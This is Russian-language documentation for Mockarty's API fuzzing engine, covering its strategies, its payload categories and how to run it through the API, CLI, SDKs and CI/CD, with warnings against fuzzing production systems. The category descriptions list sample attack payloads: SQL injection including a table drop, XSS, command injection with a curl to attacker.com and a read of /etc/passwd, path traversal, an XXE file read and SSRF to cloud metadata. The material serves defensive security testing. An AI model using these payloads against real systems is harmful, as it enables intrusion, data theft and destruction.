API-фаззинг

Mockarty включает встроенный движок API-фаззинга, который автоматически генерирует тысячи некорректных, неожиданных и вредоносных запросов для поиска ошибок и уязвимостей безопасности в ваших API. В отличие от традиционных юнит-тестов, которые проверяют ожидаемое поведение, фаззинг выявляет, что происходит, когда ваш API получает входные данные, которые никто не предусмотрел.

Совет: Примеры кода доступны для cURL, CLI и SDK-клиентов (Go, Python, Java). Смотрите Руководство по SDK для установки и настройки. Смотрите Руководство по CLI для командной утилиты.

URL-адреса в примерах: Во всех примерах используется localhost:5770 как адрес Mockarty по умолчанию. Если ваш экземпляр работает на удалённом сервере, замените localhost:5770 на реальный адрес (например, https://mockarty.company.com или http://192.168.1.50:5770). Подробнее — в разделе Полезные функции и советы.

Что такое фаззинг? Зачем фаззить API?

Фаззинг (или «фазз-тестирование») – это автоматизированная техника, которая отправляет намеренно сломанные, неожиданные или вредоносные данные в ваш API, чтобы увидеть, как он реагирует. Представьте, что вы наняли автоматизированного тестировщика, который пробует все мыслимые странные входные данные – пустые строки, невероятно длинный текст, SQL-команды, специальные символы, неправильные типы данных – чтобы найти баги раньше реальных злоумышленников.

Почему это важно?

• Ваши юнит-тесты проверяют только «счастливый путь». Вы тестируете, что корректные входные данные дают правильные результаты. Фаззинг проверяет, что происходит, когда данные некорректны – а именно там скрывается большинство уязвимостей.
• Злоумышленники фаззят ваши API. SQL-инъекции, межсайтовый скриптинг (XSS) и инъекции команд обнаруживаются отправкой неожиданных данных. Фаззинг находит их раньше, чем злоумышленник.
• Это работает автоматически. Вы настраиваете один раз, нажимаете «Run», и движок отправляет тысячи тест-кейсов за минуты. Ручных усилий не требуется.
• Он находит то, что пропускает человек. Переполнение целых чисел, инъекция null-байтов, загрязнение прототипа – это сложно тестировать вручную, но легко обнаружить фаззингом.

Предупреждение: никогда не запускайте фаззинг на production-системах. Фаззинг отправляет вредоносные нагрузки, которые могут повредить данные, обрушить сервисы или вызвать срабатывание систем безопасности. Всегда фаззьте staging или тестовое окружение с одноразовой базой данных.

Содержание

• Что такое фаззинг?
• Реальные инциденты
• Типы фаззинга
• Поддерживаемые протоколы
• Анализ безопасности
• Начало работы
• Конфигурация
• Чтение результатов фаззинга
• Что происходит, когда фаззинг что-то находит?
• Рекомендуемая стартовая конфигурация
• Анализ с помощью LLM
• Интеграция с CI/CD
• Лучшие практики
• Практический пример

Реальные инциденты, которые фаззинг мог бы предотвратить

• Крупная e-commerce платформа пострадала от утечки данных, когда злоумышленник передал SQL-инъекцию через параметр поиска товаров. Команда разработки имела юнит-тесты для корректных запросов, но никогда не тестировала, что произойдет, если поисковый запрос содержит ' OR 1=1--.
• API финтех-компании аварийно завершился со стек-трейсом (раскрывая внутренние пути и версии библиотек), когда пользователь отправил в числовое поле значение 9999999999999999999. Никто не тестировал переполнение целого числа на этом эндпоинте.
• SaaS-платформа для здравоохранения допустила обход пути (path traversal) через эндпоинт скачивания файлов. Отправка ../../../../etc/passwd в качестве имени файла вернула файл паролей сервера. Эндпоинт имел валидацию расширений файлов, но не проверял последовательности обхода директорий.
• API социальной сети раскрыл административные эндпоинты, когда злоумышленник добавил заголовок X-HTTP-Method-Override: DELETE к GET-запросу. Фреймворк обработал заголовок переопределения метода, хотя приложение не предполагало его поддержку.

Это не экзотические атаки. Это стандартные пункты из арсенала каждого пентестера. Фаззинг автоматизирует то, что пентестер делает вручную, выполняя тысячи таких тестов за минуты.

Типы фаззинга

Mockarty поддерживает три взаимодополняющие стратегии фаззинга. Вы можете запускать их по отдельности или комбинировать с помощью стратегии all.

Мутационный фаззинг (mutation)

Берет ваши валидные API-запросы и систематически их ломает. Для каждого поля в запросе движок генерирует десятки вариаций:

• Путаница типов: отправляет boolean вместо строки, массив вместо числа, null вместо объекта.
• Граничные значения: 0, -1, MAX_INT64, MIN_INT32, NaN, Infinity, пустые строки, строки по 10 КБ.
• Специальные символы: одинарные кавычки, двойные кавычки, null-байты, переносы строк, синтаксис шаблонов ({{, ${, обратные кавычки).
• Подмена HTTP-метода: ваш GET-эндпоинт получает POST, PUT, DELETE, PATCH, OPTIONS, HEAD.
• Инъекция заголовков: добавляет X-Forwarded-For: 127.0.0.1, X-HTTP-Method-Override: DELETE, X-Original-URL: /admin.
• Загрязнение прототипа: инъектирует ключи __proto__ и constructor.prototype в JSON-тела.
• Инъекция параметров: добавляет неожиданные query-параметры: admin=true, debug=1, _method=DELETE.

Пример: для seed-запроса:

{
  "method": "POST",
  "url": "/api/users",
  "body": "{\"name\": \"Alice\", \"age\": 30}",
  "headers": {"Authorization": "Bearer token123"}
}

Мутационный движок генерирует сотни вариантов, включая:

• Тело с "age": 9223372036854775807 (MAX_INT64)
• Тело с "name": null
• Тело с "age": "not_a_number"
• Тело с дополнительным полем "__proto__": {"isAdmin": true}
• Пустое тело с Content-Type: text/plain
• GET-запрос на тот же эндпоинт с ?admin=true

Фаззинг security-нагрузками (security)

Инъектирует известные атакующие нагрузки из 13 встроенных категорий в каждую инъектируемую точку вашего запроса: query-параметры, заголовки, тело запроса и сегменты URL-пути. Даже для минимальных seed-запросов (например, GET /) движок генерирует мутации, инъектируя нагрузки в распространенные имена параметров: id, q, search, page, redirect, url, file, path, callback и next.

Это стратегия по умолчанию. Полный список категорий уязвимостей см. в разделе Анализ безопасности.

Фаззинг с учетом схемы (schema_aware)

Если вы предоставите спецификацию OpenAPI/Swagger, движок извлечет все эндпоинты и схемы параметров, а затем сгенерирует нарушения:

• Пропуск обязательных полей
• Поля, превышающие maxLength или меньше minLength
• Числа за пределами minimum/maximum
• Enum-поля с невалидными значениями
• Неверные типы для типизированных параметров
• Дополнительные свойства при additionalProperties: false

Эта стратегия особенно эффективна, потому что она знает предполагаемый контракт и систематически его нарушает.

Комбинированная стратегия (all)

Запускает все три стратегии одновременно. Рекомендуется для тщательного тестирования.

Поддерживаемые протоколы

HTTP/REST

Полная поддержка всех HTTP-методов. Фаззинг query-параметров, заголовков, JSON/XML/form тел запросов и сегментов URL-пути.

GraphQL

Движок интроспектирует вашу GraphQL-схему и генерирует протокол-специфичные мутации:

• Глубоко вложенные запросы (depth bomb)
• Злоупотребление алиасами полей
• Атаки пакетными запросами
• Путаница типов входных переменных
• Инъекция директив
• Злоупотребление introspection-запросами

Настройка:

{
  "options": {
    "graphqlEndpoint": "http://your-api:4000/graphql",
    "graphqlPath": "/graphql"
  }
}

gRPC

Для gRPC-фаззинга требуется работающий gRPC-сервер с включённым reflection. Фаззер обнаруживает сервисы через reflection и тестирует отдельные RPC-методы.

Генерирует мутации для каждого обнаруженного унарного RPC-метода:

• Нарушения типов полей в protobuf-сообщениях
• Пропуск обязательных полей
• Значения переполнения для полей int32/int64/float
• Невалидные значения enum
• Глубоко вложенные сообщения

Настройка:

{
  "options": {
    "grpcAddress": "your-api:50051",
    "grpcUseTls": false,
    "grpcServices": ["mypackage.UserService"],
    "grpcMethods": ["GetUser", "CreateUser"]
  }
}

Анализ безопасности

Mockarty поставляется с 13 категориями нагрузок, содержащими сотни атакующих паттернов. Каждая категория нацелена на определенный класс уязвимостей.

SQL-инъекции (sqli)

Тестирует, включаются ли пользовательские данные в SQL-запросы без надлежащей параметризации.

Что обнаруживает: непараметризованные запросы, обход ORM, инъекции второго порядка.

Примеры нагрузок:

' OR '1'='1' --
' UNION SELECT username,password FROM users--
'; DROP TABLE users--
' AND SLEEP(5)--
' AND 1=CAST((SELECT version()) AS INT)--

Как это работает: детектор отслеживает сообщения об ошибках SQL в ответах (например, “You have an error in your SQL syntax”), неожиданную утечку данных и аномалии времени ответа (указывающие на time-based слепую инъекцию).

Межсайтовый скриптинг (xss)

Тестирует, отражаются ли пользовательские данные в HTML-ответах без кодирования.

Что обнаруживает: отраженный XSS, признаки хранимого XSS, векторы DOM-based XSS.

Примеры нагрузок:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><svg/onload=alert(1)>
javascript:alert(1)
{{constructor.constructor('return this')()}}

Как это работает: детектор проверяет, появляется ли нагрузка дословно в теле ответа (обнаружение отраженного ввода).

Инъекция команд (command_injection)

Тестирует, передаются ли пользовательские данные в команды оболочки ОС.

Что обнаруживает: прямое выполнение команд, инъекция аргументов, цепочки команд.

Примеры нагрузок:

;id
$(whoami)
`cat /etc/passwd`
| ls -la
&& curl http://attacker.com

Обход пути (path_traversal)

Тестирует, санитизирует ли приложение компоненты путей к файлам.

Что обнаруживает: включение локальных файлов (LFI), листинг директорий, раскрытие исходного кода.

Примеры нагрузок:

../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
....//....//....//etc/passwd
/etc/passwd%00.jpg

Внешние XML-сущности (xxe)

Тестирует XML-парсеры на обработку внешних сущностей.

Что обнаруживает: чтение файлов через XXE, SSRF через XXE, отказ в обслуживании (billion laughs).

Примеры нагрузок:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Подделка серверных запросов (ssrf)

Тестирует, можно ли заставить приложение выполнять запросы к внутренним сервисам.

Что обнаруживает: доступ к внутренним сетям, облачным метаданным, локальным сервисам.

Примеры нагрузок:

http://localhost:8080/admin
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://0x7f000001/
http://2130706433/

Серверная инъекция шаблонов (ssti)

Тестирует, выполняются ли пользовательские данные внутри серверных шаблонизаторов.

Что обнаруживает: инъекции в Jinja2, Twig, Freemarker, Mako, Velocity.

Примеры нагрузок:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
${{7*7}}

Обход аутентификации (auth_bypass)

Тестирует распространенные недостатки аутентификации и авторизации.

Что обнаруживает: отсутствующие проверки аутентификации, эскалацию привилегий, манипуляции с JWT.

Примеры нагрузок: отправляет запросы с измененными токенами аутентификации, удаленными заголовками авторизации, заголовками роли администратора и распространенными учетными данными по умолчанию.

Путаница типов (type_confusion)

Тестирует, как API обрабатывает неожиданные типы данных.

Что обнаруживает: слабую проверку типов, проблемы десериализации, загрязнение прототипа.

Примеры нагрузок: подменяет строки на числа, булевы значения на массивы, объекты на null, и наоборот для каждого поля.

Граничные значения (boundary_values)

Тестирует пределы числовых и строковых полей.

Что обнаруживает: переполнение целых чисел, признаки переполнения буфера, ошибки на единицу (off-by-one).

Примеры нагрузок: MAX_INT64, MIN_INT32, 0, -1, NaN, Infinity, пустая строка, строка 10 КБ.

Атаки Unicode (unicode)

Тестирует уязвимости обработки Unicode.

Что обнаруживает: обход кодировки, проблемы нормализации, инъекция null-байтов, переопределение направления текста (RTL).

Атаки форматных строк (format_strings)

Тестирует, используются ли пользовательские данные как форматная строка.

Что обнаруживает: уязвимости форматных строк в бэкендах на C/C++, неправильное использование fmt.Sprintf в Go.

Примеры нагрузок: %s%s%s%s, %x%x%x, %n%n%n.

Проблемные строки (naughty_strings)

Знаменитый “Big List of Naughty Strings” – строки, известные тем, что вызывают проблемы в программном обеспечении: последовательности эмодзи, символы нулевой ширины, экстремально длинный Unicode, скрипты на разных языках, зарезервированные слова и многое другое.

Аудит заголовков безопасности

Автоматически проверяет ответы API на отсутствие заголовков безопасности (CSP, HSTS, X-Content-Type-Options, X-Frame-Options) и опасное раскрытие информации (Server version, X-Powered-By).

Обнаружение CORS-мисконфигураций

Определяет опасные конфигурации CORS: wildcard origin + credentials, атаки отражения origin.

Time-Based слепые инъекции

Статистический анализ времени ответа для обнаружения SLEEP(), WAITFOR DELAY, pg_sleep(), а также command injection через sleep/ping. Порог: +3 секунды к baseline и 3x медленнее.

Обнаружение Mass Assignment

Внедряет привилегированные поля (role, isAdmin, permissions и др.) в POST/PUT/PATCH и проверяет отражение в ответе.

Обнаружение WAF

Определяет ответы от WAF/CDN (Cloudflare, AWS WAF, ModSecurity, Akamai, Imperva, F5) и помечает их отдельно от реальных уязвимостей.

Дельта-отчётность

Сравнение с предыдущим запуском: baselineRunId маркирует аномалии как NEW/KNOWN. Для CI/CD.

Форматы экспорта

CSV, JSON, SARIF (GitHub/GitLab Security + OWASP Top 10), JUnit XML (CI/CD).

WAF Bypass Payloads

URL double-encoding, case alternation, SQL comments, Unicode homoglyphs, HTML entity encoding.

Начало работы

Через UI

1. Откройте панель администрирования Mockarty и перейдите в раздел Fuzzing в боковом меню.
2. Нажмите New Config для создания конфигурации фаззинга.
3. Добавьте seed-запросы одним из способов импорта:
   • Вручную: введите HTTP-метод, URL, заголовки и тело напрямую.
   • Импорт cURL: вставьте команду cURL, и она будет автоматически разобрана.
   • Импорт OpenAPI: загрузите спецификацию Swagger/OpenAPI для извлечения всех эндпоинтов.
   • Импорт коллекции: импортируйте seeds из существующей коллекции API Tester.
   • Импорт из рекордера: импортируйте захваченные запросы из сессии Recorder.
   • Импорт из моков: сгенерируйте seeds из существующих моков Mockarty.
4. Выберите стратегию (security, mutation, schema_aware или all).
5. Выберите категории нагрузок (или оставьте пустым для всех категорий).
6. Настройте параметры (параллелизм, максимум запросов, таймаут).
7. Нажмите Run для запуска фаззинга.

UI показывает прогресс в реальном времени с количеством запросов в секунду, счетчиками находок по уровню критичности и графиком временной шкалы.

Через API

Создание конфигурации фаззинга:

cURL

curl -X POST http://localhost:5770/api/v1/fuzzing/configs \
  -H "Content-Type: application/json" \
  -H "X-API-Key: YOUR_TOKEN" \
  -d '{
    "name": "My API Fuzz Test",
    "targetBaseUrl": "http://your-api:8080",
    "sourceType": "manual",
    "strategy": "all",
    "payloadCategories": ["sqli", "xss", "path_traversal", "command_injection"],
    "seedRequests": [
      {
        "id": "seed-1",
        "method": "GET",
        "url": "/api/users",
        "path": "/api/users",
        "queryParams": {"search": "alice", "page": "1"},
        "headers": {"Authorization": "Bearer your-token"}
      },
      {
        "id": "seed-2",
        "method": "POST",
        "url": "/api/users",
        "path": "/api/users",
        "headers": {
          "Authorization": "Bearer your-token",
          "Content-Type": "application/json"
        },
        "body": "{\"name\": \"Bob\", \"email\": \"bob@example.com\", \"age\": 25}"
      }
    ],
    "options": {
      "maxRequests": 5000,
      "maxDuration": "10m",
      "concurrency": 5,
      "maxRps": 50,
      "timeoutPerReq": "10s",
      "mutationDepth": 3,
      "followRedirects": false,
      "statusCodeAlerts": [500, 502, 503, 504],
      "responseTimeAlert": 5000,
      "verifyFindings": true,
      "stopOnCritical": false
    }
  }'

CLI

# Создание конфигурации фаззинга
mockarty-cli fuzz config create --name "My API Fuzz Test" \
  --target http://your-api:8080 \
  --strategy all \
  --categories sqli,xss,path_traversal,command_injection \
  --max-requests 5000 --concurrency 5

Go

// Создание конфигурации фаззинга
config, err := client.Fuzzing().CreateConfig(ctx, &mockarty.FuzzConfig{
    Name:              "My API Fuzz Test",
    TargetBaseURL:     "http://your-api:8080",
    Strategy:          "all",
    PayloadCategories: []string{"sqli", "xss", "path_traversal", "command_injection"},
    Options: &mockarty.FuzzOptions{
        MaxRequests: 5000,
        Concurrency: 5,
    },
})

Python

# Создание конфигурации фаззинга
config = client.fuzzing.create_config(
    name="My API Fuzz Test",
    target_base_url="http://your-api:8080",
    strategy="all",
    payload_categories=["sqli", "xss", "path_traversal", "command_injection"],
    options={"maxRequests": 5000, "concurrency": 5},
)

Java

// Создание конфигурации фаззинга
var config = client.fuzzing().createConfig(FuzzConfig.builder()
    .name("My API Fuzz Test")
    .targetBaseUrl("http://your-api:8080")
    .strategy("all")
    .payloadCategories(List.of("sqli", "xss", "path_traversal", "command_injection"))
    .build());

Запуск фаззинга:

cURL

curl -X POST http://localhost:5770/api/v1/fuzzing/run \
  -H "Content-Type: application/json" \
  -H "X-API-Key: YOUR_TOKEN" \
  -d '{
    "configId": "CONFIG_ID_FROM_PREVIOUS_STEP"
  }'

CLI

# Запуск фаззинга по конфигурации
mockarty-cli fuzz run --config-id CONFIG_ID_FROM_PREVIOUS_STEP

Go

// Запуск фаззинга
run, err := client.Fuzzing().Start(ctx, configID)

Python

# Запуск фаззинга
run = client.fuzzing.start(config_id=config_id)

Java

// Запуск фаззинга
var run = client.fuzzing().start(configId);

Быстрый фаззинг (создание конфигурации и запуск в один шаг):

cURL

curl -X POST http://localhost:5770/api/v1/fuzzing/quick-fuzz \
  -H "Content-Type: application/json" \
  -H "X-API-Key: YOUR_TOKEN" \
  -d '{
    "name": "Quick Security Scan",
    "targetBaseUrl": "http://your-api:8080",
    "strategy": "security",
    "seedRequests": [
      {
        "id": "seed-1",
        "method": "GET",
        "url": "/api/products",
        "path": "/api/products",
        "queryParams": {"category": "electronics"}
      }
    ]
  }'

CLI

# Быстрый фаззинг в один шаг
mockarty-cli fuzz quick --target http://your-api:8080 \
  --strategy security \
  --url "/api/products?category=electronics"

Go

// Быстрый фаззинг
run, err := client.Fuzzing().QuickFuzz(ctx, &mockarty.QuickFuzzRequest{
    Name:          "Quick Security Scan",
    TargetBaseURL: "http://your-api:8080",
    Strategy:      "security",
    SeedRequests: []mockarty.SeedRequest{
        {Method: "GET", URL: "/api/products", Path: "/api/products",
         QueryParams: map[string]string{"category": "electronics"}},
    },
})

Python

# Быстрый фаззинг
run = client.fuzzing.quick_fuzz(
    name="Quick Security Scan",
    target_base_url="http://your-api:8080",
    strategy="security",
    seed_requests=[{"method": "GET", "url": "/api/products", "path": "/api/products",
                    "queryParams": {"category": "electronics"}}],
)

Java

// Быстрый фаззинг
var run = client.fuzzing().quickFuzz(QuickFuzzRequest.builder()
    .name("Quick Security Scan")
    .targetBaseUrl("http://your-api:8080")
    .strategy("security")
    .build());

Проверка результатов:

# Список всех результатов фаззинга
curl http://localhost:5770/api/v1/fuzzing/results \
  -H "X-API-Key: YOUR_TOKEN"

# Получение конкретного результата с полным отчетом
curl http://localhost:5770/api/v1/fuzzing/results/RESULT_ID \
  -H "X-API-Key: YOUR_TOKEN"

# Список находок для запуска
curl "http://localhost:5770/api/v1/fuzzing/findings?runId=RESULT_ID" \
  -H "X-API-Key: YOUR_TOKEN"

Импорт seeds из cURL:

curl -X POST http://localhost:5770/api/v1/fuzzing/import/curl \
  -H "Content-Type: application/json" \
  -H "X-API-Key: YOUR_TOKEN" \
  -d '{
    "curl": "curl -X POST http://your-api:8080/api/orders -H \"Content-Type: application/json\" -d \"{\\\"productId\\\": \\\"abc\\\", \\\"quantity\\\": 1}\""
  }'

Импорт seeds из спецификации OpenAPI:

curl -X POST http://localhost:5770/api/v1/fuzzing/import/openapi \
  -H "X-API-Key: YOUR_TOKEN" \
  -F "file=@openapi.yaml"

Подробнее о запуске Mockarty см. в руководстве Быстрый старт.

Конфигурация

Справочник FuzzOptions

Категории нагрузок

Выберите конкретные категории для фокусировки тестирования:

Если payloadCategories не указан, используются все категории.

Источники seed-запросов

Чтение результатов фаззинга

Сводка результатов

Каждый запуск фаззинга создает FuzzResult со следующими данными:

• Статус: running, completed, stopped или failed
• Всего запросов: сколько мутированных запросов было отправлено
• Длительность: сколько времени длился запуск
• Количество находок по серьезности: critical, high, medium, low, info

аномалии

Каждая находка представляет потенциальную уязвимость или аномалию:

• Серьезность: critical, high, medium, low, info
• Категория: тип проблемы (например, sqli, xss, 500_error, timeout, reflected_input, stack_trace, path_disclosure)
• Детали запроса: метод, URL, заголовки, тело – точный запрос, вызвавший проблему
• Детали ответа: код статуса, заголовки, тело, время ответа
• Примененная мутация: что было изменено относительно исходного seed-запроса
• Воспроизводимость: подтверждена ли находка при повторном воспроизведении (если включен verifyFindings)
• Количество воспроизведений: сколько раз из 3 повторов находка была воспроизведена

Процесс триажа

Каждая находка имеет статус триажа, который вы можете обновлять:

Обновление статуса триажа через API:

curl -X PUT http://localhost:5770/api/v1/fuzzing/findings/FINDING_ID/triage \
  -H "Content-Type: application/json" \
  -H "X-API-Key: YOUR_TOKEN" \
  -d '{"status": "confirmed"}'

Повторное воспроизведение аномалии

Повторная отправка точного запроса, вызвавшего находку, для верификации:

curl -X POST http://localhost:5770/api/v1/fuzzing/findings/FINDING_ID/replay \
  -H "X-API-Key: YOUR_TOKEN"

Экспорт находок

Экспорт находок в CSV или JSON для внешней отчетности:

curl -X POST http://localhost:5770/api/v1/fuzzing/findings/export \
  -H "Content-Type: application/json" \
  -H "X-API-Key: YOUR_TOKEN" \
  -d '{"runId": "RESULT_ID", "format": "csv"}'

Данные покрытия

Результат включает метрики о запуске фаззинга:

• Распределение кодов статуса: сколько ответов 200, 400, 500 и т.д.
• Статистика времени ответа: минимум, максимум, среднее, медиана, P95, P99
• Временная шкала: запросы и аномалии во времени (выборка каждые 2 секунды)

Что происходит, когда фаззинг что-то находит?

Когда движок фаззинга обнаруживает потенциальную проблему, вот что происходит поэтапно:

1. Создается находка. Движок записывает точный запрос, вызвавший проблему, полученный ответ и тип обнаруженной уязвимости. Каждая находка получает уровень серьезности: critical, high, medium, low или info.

2. Находка верифицируется (если включено). Когда verifyFindings установлен в true (по умолчанию), движок повторяет тот же запрос ещё 3 раза. Если проблема воспроизводится стабильно, находка помечается как воспроизводимая. Одноразовые сбои помечаются как невоспроизводимые, чтобы вы могли снизить их приоритет.

3. Вы просматриваете аномалии в UI или через API. Перейдите на страницу результатов фаззинга и откройте список находок. Каждая находка показывает серьезность, категорию (например, SQL-инъекция, XSS), точный запрос/ответ и какая мутация была применена.

4. Вы проводите триаж каждой аномалии. Установите статус:

   • confirmed – да, это реальная уязвимость, требующая исправления.
   • false_positive – находка выглядит плохо, но на самом деле это ожидаемое поведение (например, ваш API намеренно возвращает 500 на некорректный ввод).
   • fixed – вы исправили уязвимость и проверили исправление.
   • accepted – вы знаете о проблеме, но приняли решение принять риск.

5. Вы исправляете уязвимость. Используйте детали аномалии (точный запрос, ответ, мутация), чтобы воспроизвести проблему в среде разработки и написать исправление.

6. Вы перезапускаете фаззинг для верификации. Запустите ту же конфигурацию снова после деплоя исправления. Находка не должна больше появляться.

Совет: Включите llmEnabled в параметрах фаззинга, чтобы получить ИИ-анализ критических и высоких находок. ИИ объясняет, что означает уязвимость, как она может быть эксплуатирована, и рекомендует конкретные исправления кода.

Рекомендуемая стартовая конфигурация

Если вы запускаете фаззинг впервые, используйте эту конфигурацию как отправную точку. Она достаточно консервативна, чтобы не перегрузить целевой сервис, но при этом обеспечивает осмысленное покрытие безопасности.

{
  "name": "First Security Scan",
  "targetBaseUrl": "http://your-staging-api:8080",
  "sourceType": "manual",
  "strategy": "security",
  "payloadCategories": ["sqli", "xss", "path_traversal", "command_injection"],
  "seedRequests": [
    {
      "id": "seed-1",
      "method": "GET",
      "url": "/api/your-endpoint",
      "path": "/api/your-endpoint",
      "queryParams": {"search": "test"},
      "headers": {"Authorization": "Bearer your-staging-token"}
    }
  ],
  "options": {
    "maxRequests": 1000,
    "maxDuration": "5m",
    "concurrency": 3,
    "maxRps": 20,
    "timeoutPerReq": "10s",
    "followRedirects": false,
    "verifyFindings": true,
    "stopOnCritical": false
  }
}

Почему именно эти значения?

Следующие шаги после первого сканирования:

• Если аномалии выглядят хорошо, увеличьте maxRequests до 5000 и добавьте больше payloadCategories.
• Попробуйте strategy: "all" для полного покрытия (добавляет мутационный фаззинг и фаззинг с учётом схемы).
• Добавьте больше seed-запросов, покрывающих ваши самые важные эндпоинты.
• Настройте расписание фаззинга для автоматического регулярного сканирования.

Анализ с помощью LLM

Когда llmEnabled установлен в true в параметрах фаззинга, Mockarty отправляет аномалии критической и высокой серьезности в LLM для экспертного анализа после завершения запуска.

LLM-советник:

1. Получает пары запрос/ответ для каждой критической и высокой аномалии
2. Анализирует, представляет ли находка реальную уязвимость
3. Предоставляет рекомендации по исправлению, специфичные для обнаруженной проблемы
4. Генерирует общую сводку состояния безопасности

Для использования этой функции:

1. Настройте LLM-профиль в административных настройках Mockarty (поддерживаются OpenAI, Anthropic Claude или OpenRouter).
2. Установите llmEnabled: true и, при необходимости, llmProfileId в параметрах фаззинга.

LLM-анализ отображается в поле llmAnalysis каждой аномалии и в поле llmSummary отчета.

Количество LLM-вызовов ограничено 50 на запуск для контроля затрат.

Интеграция с CI/CD

Пример для GitHub Actions

name: API Fuzzing
on:
  schedule:
    - cron: '0 2 * * 1'  # Каждый понедельник в 2 часа ночи
  workflow_dispatch:

jobs:
  fuzz:
    runs-on: ubuntu-latest
    steps:
      - name: Start target API
        run: docker-compose up -d my-api

      - name: Wait for API readiness
        run: |
          for i in $(seq 1 30); do
            curl -sf http://localhost:8080/health && break
            sleep 2
          done

      - name: Run fuzzing
        id: fuzz
        run: |
          # Создание конфигурации и запуск
          RESULT=$(curl -sf -X POST http://localhost:5770/api/v1/fuzzing/quick-fuzz \
            -H "Content-Type: application/json" \
            -H "X-API-Key: ${{ secrets.MOCKARTY_TOKEN }}" \
            -d '{
              "name": "CI Fuzz Run",
              "targetBaseUrl": "http://my-api:8080",
              "strategy": "security",
              "payloadCategories": ["sqli", "xss", "command_injection", "path_traversal"],
              "seedRequests": [
                {"id": "s1", "method": "GET", "url": "/api/products", "path": "/api/products"},
                {"id": "s2", "method": "POST", "url": "/api/orders", "path": "/api/orders",
                 "body": "{\"productId\": \"abc\", \"quantity\": 1}",
                 "headers": {"Content-Type": "application/json"}}
              ],
              "options": {
                "maxRequests": 2000,
                "maxDuration": "5m",
                "concurrency": 3,
                "verifyFindings": true,
                "stopOnCritical": true
              }
            }')

          RUN_ID=$(echo "$RESULT" | jq -r '.id // .runId')
          echo "run_id=$RUN_ID" >> "$GITHUB_OUTPUT"

          # Ожидание завершения (опрос каждые 10 секунд)
          for i in $(seq 1 60); do
            STATUS=$(curl -sf "http://localhost:5770/api/v1/fuzzing/results/$RUN_ID" \
              -H "X-API-Key: ${{ secrets.MOCKARTY_TOKEN }}" | jq -r '.status')
            if [ "$STATUS" = "completed" ] || [ "$STATUS" = "stopped" ]; then
              break
            fi
            sleep 10
          done

          # Проверка критических и высоких находок
          CRITICAL=$(curl -sf "http://localhost:5770/api/v1/fuzzing/results/$RUN_ID" \
            -H "X-API-Key: ${{ secrets.MOCKARTY_TOKEN }}" | jq '.criticalFindings')
          HIGH=$(curl -sf "http://localhost:5770/api/v1/fuzzing/results/$RUN_ID" \
            -H "X-API-Key: ${{ secrets.MOCKARTY_TOKEN }}" | jq '.highFindings')

          echo "critical=$CRITICAL" >> "$GITHUB_OUTPUT"
          echo "high=$HIGH" >> "$GITHUB_OUTPUT"

      - name: Fail on critical findings
        if: steps.fuzz.outputs.critical != '0'
        run: |
          echo "Обнаружены критические уязвимости!"
          exit 1

Планирование фаззинга

Создание расписания периодического фаззинга через API:

curl -X POST http://localhost:5770/api/v1/fuzzing/schedules \
  -H "Content-Type: application/json" \
  -H "X-API-Key: YOUR_TOKEN" \
  -d '{
    "configId": "YOUR_CONFIG_ID",
    "name": "Nightly Security Scan",
    "cronExpression": "0 2 * * *",
    "enabled": true,
    "notifyOnFailure": true
  }'

Расписание использует стандартный синтаксис cron. Когда notifyOnFailure включен (и настроены email-уведомления), вы получите оповещение, если запуск обнаружит аномалии критической или высокой серьезности.

Лучшие практики

Когда запускать фаззинг

• Перед каждым релизом: запустите быстрый security-фаззинг (maxRequests: 2000, стратегия security) как шлюз в вашем CI-пайплайне.
• Еженедельно: запускайте полный комплексный фаззинг (стратегия all, повышенные лимиты) на staging-окружении.
• После изменений API: когда вы добавляете новые эндпоинты или модифицируете существующие, фаззьте измененные эндпоинты конкретно с помощью includeRoutes.
• После обновления зависимостей: обновления библиотек могут привнести новое поведение. Запуск фаззинга после обновления выявляет регрессии.

Что приоритизировать

1. Эндпоинты, принимающие пользовательский ввод: поиск, логин, регистрация, загрузка файлов, любой эндпоинт с query-параметрами или телом запроса.
2. Эндпоинты, работающие с чувствительными данными: обработка платежей, профили пользователей, административные панели.
3. Публично доступные эндпоинты: API, доступные без аутентификации – наивысший приоритет.
4. Эндпоинты со сложной логикой: фильтрация, сортировка, пагинация и агрегация часто имеют скрытые точки инъекции.

Советы по производительности

• Начинайте с concurrency: 3 и maxRps: 20. Увеличивайте постепенно в зависимости от мощности целевого сервиса.
• Используйте maxDuration для предотвращения затянувшихся сессий. 5-10 минут достаточно для большинства API.
• Включайте stopOnCritical в CI для быстрого завершения.
• Используйте excludeRoutes для пропуска health-проверок, метрик и других неинтересных эндпоинтов.
• Отключайте verifyFindings для быстрых сканирований. Включайте для тщательных запусков.

Снижение ложных срабатываний

• Используйте statusCodeAlerts для пометки только действительно неожиданных кодов статуса. Если ваш API законно возвращает 500 на некорректный ввод, уберите его из списка.
• Установите responseTimeAlert выше нормального времени ответа вашего самого медленного эндпоинта.
• Включите verifyFindings – невоспроизводимые аномалии часто являются ложными срабатываниями.
• Включите llmEnabled для ИИ-триажа, отфильтровывающего вероятные ложные срабатывания.
• Используйте процесс триажа для маркировки ложных срабатываний, чтобы накапливать историю известных не-проблем.

Безопасность

ПРЕДУПРЕЖДЕНИЕ: Фаззинг отправляет реальные атакующие нагрузки. Они включают SQL-инъекции, инъекции команд, обход путей и другие вредоносные входные данные. Если у целевой системы слабая валидация ввода, фаззинг может вызвать повреждение данных, падение сервисов, засорение логов или срабатывание систем безопасности. Всегда читайте и соблюдайте все рекомендации по безопасности ниже.

• Никогда не фаззьте production-системы. Всегда используйте staging или тестовое окружение с одноразовой базой данных. Фаззинг может повредить данные, удалить записи или обрушить сервисы.
• Используйте учётную запись БД с минимальными привилегиями. Учётная запись для фаззинга должна иметь только права SELECT. Это ограничивает ущерб, если нагрузка SQL-инъекции сработает.
• Предупредите команду перед фаззингом. Фаззинг генерирует тысячи подозрительных запросов, которые могут вызвать срабатывание WAF (Web Application Firewall), уведомления IDS (системы обнаружения вторжений) или вызовы дежурных. Предупредите команду эксплуатации заранее.
• Начинайте с низких лимитов частоты. Движок соблюдает maxRps. Начинайте с 10-20 запросов в секунду и увеличивайте только после подтверждения, что staging-окружение справляется с нагрузкой.
• Устанавливайте ограничение по времени. Всегда настраивайте maxDuration для предотвращения затянувшихся сессий. 5-10 минут достаточно для большинства API.
